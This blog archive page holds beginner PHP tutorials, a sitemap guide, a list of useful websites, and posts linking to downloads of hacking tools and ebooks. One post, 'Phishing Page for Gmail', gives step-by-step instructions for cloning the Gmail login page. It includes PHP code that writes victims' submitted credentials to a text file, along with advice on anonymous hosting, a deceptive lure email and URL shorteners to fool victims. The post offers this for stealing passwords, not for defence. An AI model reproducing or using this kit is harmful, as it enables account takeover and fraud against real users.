Showing posts with label webs. Show all posts
Showing posts with label webs. Show all posts

Sunday, 19 October 2014

PHP Basics #5 : PHP Data Types

PHP : Data Types


In this tutorial I will tell you about Data Types in PHP.



PHP : Data Types



There are mainly 7 types of data in PHP but we will cover only 5 types of data now and later on we will talk about the rest 2.
So the 5 data types which we are going to talk about now are the following..

  • String
  • Integers
  • Float Numbers
  • Boolean  
  • NULL


i. String



A string in php and all other programming or web developing languages are the alpha-numeric letters and sentences. In php we always have to write strings between single or double quotes.


<?php

echo "Hello I am a String";
echo "<br />";
echo 'Hello I am also a string between single quotes';

?>

The echo "<br />"; line in the code is an html tag for next line and this also shows us that we can also echo html tags if we want but for now dont use any other html tag except <br />.


If you output the above code in a browser the result will be this..

Hello I am a String
Hello I am also a string between single quotes  

That was all about String you must know till now..



ii. Integers (Numbers)



Integers in php and every other computer language represents all numbers. Integers in php does not require quotes around it.


<?php

echo 1;
echo '<br />';
echo 10000;
echo '<br />';
echo 99;

?> 

The output of the above codes in a browser will result..



1
1000
99

iii. Float Numbers



Floats are the numbers like the decimal numbers and thats all I can say about it you will understand better in the example below..


<?php

echo 1.09;
echo '<br />';
echo 0.89;
echo '<br />';
echo 40.6;

?>

If you open the above code in a browser the result will be the following..
1.09
0.89
40.6


iv. Boolean



Boolean is simply 'true' and 'false'. Boolean is mostly used in conditional coding and you will understand it when we start conditional coding in php. For now all you need to know is that boolean is either TRUE or FALSE.


<?php


//Thats how you declare them
$a = true;
$b = false;


?> 


v. NULL 



The special NULL value represents that a variable has no value. NULL is the only possible value of data type NULL.

The NULL value identifies whether a variable is empty or not. Also useful to differentiate between the empty string and null values of databases.

Variables can be emptied by setting the value to NULL


<?php

$a = 'Hello World!';
$a = null;

echo $a;

 ?>

The output of the above code will give you a blank page because  $a was 'Hello World!', but after that you again declared $a to NULL so $a has no value 

PHP Basics #4 : Variables

PHP Variables


As with algebra, PHP variables can be used to hold values (x=5) or expressions (z=x+y).

A variable can have a short name (like x and y) or a more descriptive name (age, carname, total_volume).

Rules for PHP variables:


  • A variable starts with the $ sign, followed by the name of the variable
  • A variable name must start with a letter or the underscore character
  • A variable name cannot start with a number
  • A variable name can only contain alpha-numeric characters and underscores (A-z, 0-9, and _ )
  • Variable names are case sensitive ($y and $Y are two different variables)

PHP Variables demonstration :

<?php

    $a = "John";
    $b = 'Terry';
    $x = 1;
    $y = 5;
    $z = $x + $y ;
    $float = 10.5;



echo $a;
echo '<br />';
echo $z;
echo '<br />';
echo $float;

?>


The output of the above will be:



John
6
10.5

Variables concept is quite easy to understand and If you have any conclusion in it please comment 

PHP Basics #3 : How to get Started with PHP coding ?

How to get started with PHP Development ?


(Continue only if you Successfully Installed Apache, PHP and MySQL)

So now you know how to run a php file in browser and its time to get started in php development !!

Today we will talk about :


  • How to write PHP codes
  • Basic Syntax
  • Echo Statement


1) How to write PHP codes ?


PHP codes can be written in any php file which means a file with .php extension and you can write it using any text editor but you must know that to write php codes you have to tell the browser that these are php codes not html and to do that all you have to do is open the php tag like all other html tags and then when php codes finishes close the php tag .. The opening php tag is <?php and the closing php tag is ?> . The browser will take all the codes between the <?php   ?> as PHP codes. And after you complete each php like you have to end with a semi-colon ; . A semi-colon tell the browser that the command ended. 


<?php

All codes here are PHP codes

?>  


2) Basic Syntax of PHP


PHP has very easy syntax rules as compared to other programming or scripting languages, the most important rule is to end your every statement with a semi-colon. We will demonstrate it soon and you will get hang of it.
One more important thing in php to remember is that white spaces had no effect in php coding there is no indentation rules in php, which for me is quite good.

3) echo 


If you have any experience with any programming languages then I guess you know what this statement does and for those who dont know this statement simply prints out anything you want on the screen. So if you have gone through the Last Tutorial of this series you must have created a folder in you localhost path named test and now time to use this folder for demonstration of all the exercises.
The syntax of echo statement is   
To print text in browser -> echo "Quotes if Text";
To print numbers in browser -> echo 1;
So create a new file named echo.php and inside the folder test and type the following inside the echo.php file..



<?php

echo "Hello World!!";


?>


If you open the file in browser the result will be..
Hello World!!


You can also do other things such as maths calculations..


<?php

echo 2+2;

?>

Result :
4

This was some basics of php codes and in next tutorials we will learn about PHP Variables and all..Till then do some experiments with your codes and try some more examples .. If you get stuck anywhere please comment

Tuesday, 14 October 2014

PHP Basics #1 : Introduction to PHP

Introduction To PHP


What is PHP ?
PHP (recursive acronym for PHP: Hypertext Preprocessor) is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML

What can PHP do ?

PHP is most commonly used as a Server-Side Scripting Language but it is not only bounded to it. PHP can also be used to write small desktop programs it is not that popular to creating desktop apps but still you can create small application which can help you in small tasks.

Why use PHP ?


1.) Works Great with HTML - If you already have a website and are familiar with HTML, making the step to PHP is easy. If fact, PHP and HTML are interchangeable within the page! While PHP might add some new features to your site, its basic appearance is still all created with HTML


2.) Interactive Features - PHP allows you to interact with your visitors in ways HTML alone can't. This can mean simple things like e-mail forms, or more elaborate things like shopping carts that save your past orders and recommend similar products. It can also mean social things like interactive forums and private messaging systems


3.) Easy to Learn - PHP is a lot easier to get started with than you might think. By learning just a few simple functions, you are able to do a lot of things with your website. And once you know the basics, there are a wealth of scripts available on the internet that you only need to tweak a little to fit your needs.


On the next post we will discuss about the Basic Syntax and how to write PHP codes on a html file..





Saturday, 4 October 2014

What is sitemap and how to use it ?

What is a sitemap ?

A sitemap is a file where you can list the webpages of your site to tell Google and other search engines about the organization of your site content. Search engine web crawlers like Googlebot read this file to more intelligently crawl your site.



Types Of Sitemap ?

There are two popular versions of a site map. An XML Sitemap is a structured format that a user doesn't need to see, but it tells the search engine about the pages in a site, their relative importance to each other, and how often they are updated. HTML sitemaps are designed for the user to help them find content on the page, and don't need to include each and every subpage. This helps visitors and search engine bots find pages on the site.

Sitemaps are written in XML (Extensible Markup Language) it is due to that the search engine crawlers can crawl easily an XML file. You should know that every directory can contain its own XML fine but its a good Web Developer's habit is to put the main sitemap.xml file on the root directory of the website. 


Here's an example of a sitemap.xml file :



sitemap.xml example



Below we will revise the lines of the sitemap file one by one:



  • Every Sitemap XML file must begin with an opening tag <urlset> and must end with </urlset>.
  • Every "parent" entry should begin with <url> tag and end with </url>.
  • In a similar way, every "child" entry should be placed between <loc> and </loc> tags. After a <loc> tag, an URL is expected which should start with "http://". The length of the URL can be 2048 characters at most.


  • The <lastmod> tag expects a date in the following format YYYY-MM-DD. Be advised that you do not have to modify this tag each time you modify the document. The search engines will get the dates of the documents once they crawl them.


  • The <changefreq> tag is used as a hint for the crawlers to indicate how ofter the page is modified and how often it should be indexed. Note that this value may or may not affect the crawl bot behavior which depends solely on the search engine.


  • The <changefreq> tag expects one of the following values: always, hourly, daily, weekly, monthly, yearly, never. Be advised that "always" is used for pages which are dynamically generated or changed/modified upon every access. As for the "never" value – be advised that even if you mark your page with a never value most probably it will be indexed once in a week for example.


  • The <priority> value can vary from 0.0 to 1.0. Be advised that this indicates only your personal preferences for the way you would like to have your website indexed. The default value of a page that is not prioritized is 0.5. Any page with higher value will be crawled before the page with priority 0.5, and all pages with lower priority will be indexed after the page with 0.5 value. Since the priority is relative it is used only for your website and even if you set a high priority to all of your pages this does not mean that they will be indexed more often, because this value is not used to make comparison between different websites.




Whats Next ?

I hope now you know what a sitemap of a website is and its tags also. But for those who dont want to write these all by themselves dont worry I have got a good website for you which will do these all automatically and then you can download the sitemap.xml file of your website and upload it on you root folder of your website.

Sitemap Generator



And Then...?

Well after you got the sitemap.xml file you can upload it on the root of your website you can goto Google WebMaster and submit your website's sitemap so that google bots can crawl it easily !!


How to submit..?

If you have uploaded the sitemap.xml file on your root folder of your website you can simply goto Crawl tab on the Google Webmaster and then sitemap and then click on Test/Add Sitemap and type your website url.

example: www.yourwebsite.com/sitemap.xml



I hope this was informative for you..Please Share 

Friday, 28 March 2014

FEW IMPORTANT WEBISTES

1. screenr.com – Record movies of your desktop and send them straight to YouTube.
2. bounceapp.com – For capturing full length screenshots of web pages.
3. Goo. gl – Shorten long URLs and convert URLs into QR codes.
4. untiny.me – Find the original URLs that’s hiding behind a short URLs.
5. localti.me – Know more than just the local time of a city
6.copypastecharacter.com– Copy-paste special characters that aren’t on your keyboard.
7. topsy.com –A better search engine for twitter.
8. fb.me/AppStore –Search iOS apps without launching iTunes.
9. iconfinder.com –The best place to find icons of all sizes.
10. office.com –Download templates, clipart and images for your Office documents.
11. woorank.com –everything you wanted to know about a website.
12. virustotal.com –Scan any suspicious file or email attachment for viruses.
13. wolframalpha.com– Gets answers directly without searching .
14.printwhatyoulike.com– Print web pages without the clutter.
15. joliprint.com –Reformats news articles and blog content as a newspaper.
16. isnsfw.com – When you wish to share a NSFW page but with a warning.
17. eggtimer.com – A simple online timer for your daily needs.
18. coralcdn.org – If a site is down due to heavy traffic, try accessing it through coral CDN.
19. random.org – Pick random numbers, flip coins, and more.
20. mywot.com –Check the trust level of any website .
21. viewer.zoho.com –Preview PDFs and Presentations directly in the browser.
22. tubemogul.com –Simultaneously upload videos to YouTube and other video sites.
23. truveo.com – The best place for searching web videos.
24. scr.im – Share your email address online without worrying about spam.
25. spypig.com – Now get read receipts for your email.
26. sizeasy.com –Visualize and compare the size of any product.
27. whatfontis.com –quickly determine the font name from an image.
28. fontsquirrel.com –A good collection of fonts – free for personal and commercial use.
29. regex.info – Find data hidden in your photographs .
30. tineye.com – This is like an online version of Google Googles.
31. iwantmyname.com– Helps you search domains across allTLDs.
32. tabbloid.com –Your favorite blogs delivered as PDFs.
33. join. me – Share your screen with anyone over the web.
34. onlineocr.net –Recognize text from scanned PDFs and images – see other OCR tools.
35. flightstats.com –Track flight status at airports worldwide.
36. wetransfer.com –For sharing really big files online.
37. pastebin.com – A temporary onlineclipboard for your text and code snippets.
38.polishmywriting.com –Check your writing for spelling or grammatical errors.
39.awesomehighlighter.com– Easily highlight the important parts of a web page.
40. typewith.me –Work on the same document with multiple people.
41.whichdateworks.com –Planning an event? Find a date that works for all.
42. everytimezone.com– A less confusing view of the world time zones.
43. warrick.cs.odu.edu– You’ll need this when your bookmarked web pages are deleted.
44. gtmetrix.com – The perfect tool for measuring your site performance online.
45. imo.im – Chat with your buddies on Skype,Facebook, GoogleTalk, etc from one place.
46.translate.google.com– Translate web pages,PDFs and Office documents.
47. youtube.com/leanback – Sit back and enjoy YouTube videos in full-screen mode.
48. similarsites.com –Discover new sites that are similar to what you like already.
49. wordle.net – Quicksummarize long pieces of text with tag clouds.
50. bubbl.us – Create mind-maps, brainstorm ideas in the browser.
51. kuler.adobe.com –Get color ideas, also extract colors from photographs.
52. followupthen.com– Setup quick reminders via email itself.
53. lmgtfy.com – When your friends are too lazy to use Google on their own.
54. tempalias.com –Generate temporary email aliases, better than disposable email.
55. pdfescape.com –Lets you can quickly edit PDFs in the browser itself.
56. faxzero.com – Send an online fax for free– see more fax services.
57. feedmyinbox.com –Get RSS feeds as an email newsletter.
58. isendr.com –Transfer files without uploading to a server.
59. tinychat.com –Setup a private chatroom in micro-seconds.
60. privnote.com –Create text notes that will self-destruct after being read.
61. flightaware.com –Live flight tracking service for airports worldwide.
62. boxoh.com – Track the status of any shipment on Google Maps – alternative.
63. chipin.com – When you need to raise funds online for an event or a cause.
64.downforeveryoneorjustme.com – Is your favorites really offline?
65. example.com – This website can be used as an example in documentation.
66.whoishostingthis.com –Find the web host of any website.
67. google.com/history– Found something on Google but can’t remember it now?
68.errorlevelanalysis.com– Find whether a photo is real or aphotoshopped one.
69. google.com/dictionary – Get word meanings, pronunciations and usage examples.
70.urbandictionary.com –Find definitions of slangs and informal words.
71. seatguru.com –Consult this site before choosing a seat for your next flight.
72. sxc.hu – Download stock images absolutely free.
73.download.com.np-Get all softwares.
74. wobzip.org – Unzip your compressed files online.
75. vocaroo.com –Record your voice with a click.
76. scribblemaps.com– Create custom Google Maps easily.
77. buzzfeed.com –Never miss another Internet meme or viral video.
78. alertful.com –Quickly setup email reminders for important events.
79.encrypted.google.com– Prevent your ISP and boss from reading your search queries.
80. formspring.me –You can ask or answer personal questions here.
81. snopes.com – Find if that email offer you received is real or just another scam.
82. typingweb.com –Master touch-typing with these practice sessions.
83. mailvu.com – Send video emails to anyone using your webcam.
84. ge.tt – Quickly send a file to someone,they can even preview it before downloading.
85. timerime.com –Create timelines with audio, video and images.
86. stupeflix.com –Make a movie out of your images, audio and video clips.
87. aviary.com/myna –An online audio editor that lets you record and remix audio clip.
88. noteflight.com –Print music sheets, write your own music online (review).
89.disposablewebpage.com– Create a temporary web page that self-destruct.
90. namemytune.com– When you need to find the name of a song.
91. homestyler.com –Design from scratch or re-model your home in3d.
92. snapask.com – Use email on your phone to find sports scores, read Wikipedia, etc.
93. teuxdeux.com – A beautiful to-do app that resembles a paper diary.
94. livestream.com –Broadcast events live over the web, including your desktop screen.
95. bing.com/images –Automatically find perfectly-sized wallpapers for mobiles.
96. historio.us –Preserve complete web pages with all the formatting.
97. dabbleboard.com –Your virtual whiteboard.
98. whisperbot.com –Send an email without using your own account.
99. sumopaint.com –An excellent layer-based online image editor.
100. lovelycharts.com– Create flowcharts, network diagrams, Sitemaps, etc.
101. nutshellmail.com– Get your Facebook and Twitter streams in your Inbox.
102.The Hype Machine -Web-based music discovery site based on the music posted to blogshttp://hypem.com/


103.SimpleWash -A site to help you clean up old content you may not want to show on your social media profiles anymore (currently Facebook only, Twitter is coming soon) SimpleWash™
104.ListenToYouTube.com -Converts YouTube videos to mp3sYouTube to MP3 Converter - Fast, Free - ListenToYouTube.com
105.PushBullet -Easily send notes, links, lists, files, etc. to your Android phonehttps://www.pushbullet.com/

Tuesday, 5 November 2013

Some Hacking Tools


Every Beginner In Hacking Requires some Hacking Tools Some To Hack and Some to understand Today I will provide you some of the Hacking Tools :)

 Download

Monday, 4 November 2013

Phishing Page for Gmail

How to create fake or Phishing web page for gmail



 This post will explain you how to create fake or phishing web page for gmail. This Procedure can be used to make fake page for other websites like yahoo,msn,or any other sites which you want to steal the password of particular user.
Steps for Creating Phishing or Fake web Page:Step 1:Go to the gmail.com.  Save the Page as "complet HTML" file


Step 2:Once you save the login page completely, you will see a HTML file and a folder with the name something like Email from google files.There will be two image files namely "google_transparent.gif","mail_logo.png"


Step3: Upload those image to tinypic or photobucker.com.  copy the url of each image.


Step4:Open the HTML file in Wordpad.
Search for "google_transparent.gif" (without quotes) and replace it with corresponding url .
Search for "mail_logo.png" (without quotes) and replace it with corresponding url .


Step 5:
Search for the
 action="https://www.google.com/accounts/ServiceLoginAuth"
Replace it with
action="http://yoursite urlhere/login.php" save the file.


Step6: Now you need to create login.php
 so you need to open the notepad and type as
<?php
header("Location: https://www.google.com/accounts/ServiceLoginAuth ");
$handle = fopen("pswrds.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
save it


Step 7:open the notepad and just save the file as "pswrds.txt" without any contents.
Now upload those three files(namely index.html,login.php,pswrds.txt) in any of subdomain Web hosting site.Note:  that web hosting service must has php feature.Use one of these sites:110mb.com, spam.com justfree.com or 007sites.com.  use this sites through the secure connection sites(so that you can hide your ip address)  like: http://flyproxy.com .  find best secure connection site.


Step 8: create an email with gmail keyword. like : gmailburger@gmail.com


Step 9:  Send to victim similar  to " gmail starts new feature to use this service log in to this page" from that gmail id with link to your phishing web page.

 Note:For user to believe change Your phishing web page url with any of free short url sites. Like : co.nr, co.cc,cz.cc This will make users to believe that it is correct url.


Friday, 18 October 2013

Some Useful E-Books

 List of Ankit fadia's Hacking EBooks

1 . Ankit Fadia Hacker's Guide
2 . Untold Windows Tips and Secrets(Ankit Fadia)
3 . Base64 Encoding Torn Apart
4 . Batch File Programing - Ankit Fadia
5 . Closing Open Holes
6 . Defacing Websites A step Process By Ankit fadia
7 . Dos Attacked
8 . Ankit Fadia - Encryption Algorithms Explained
9 . Firewalls - How to unblock it??
10 . FTP Exploits By Ankit Fadia.pdf
11 . Gathering info on Remote Host
12 . Hacking into Linux
13 . More Password Cracking Decrypted
14 . Removing Banners from your sites
15 . Sendmail and Beyond
16.SSL Torn Apart
17.Tracing IP,DNS,WHOIS-nslLookUp
18.Transparent Proxies in Squid
19.Transparent_proxies_with_Squid_By-Ankit Fadia
20.Truths!!!--What They Don't teach in
Manuals!!!.pdf


Link :  http://adf.ly/XlaQ9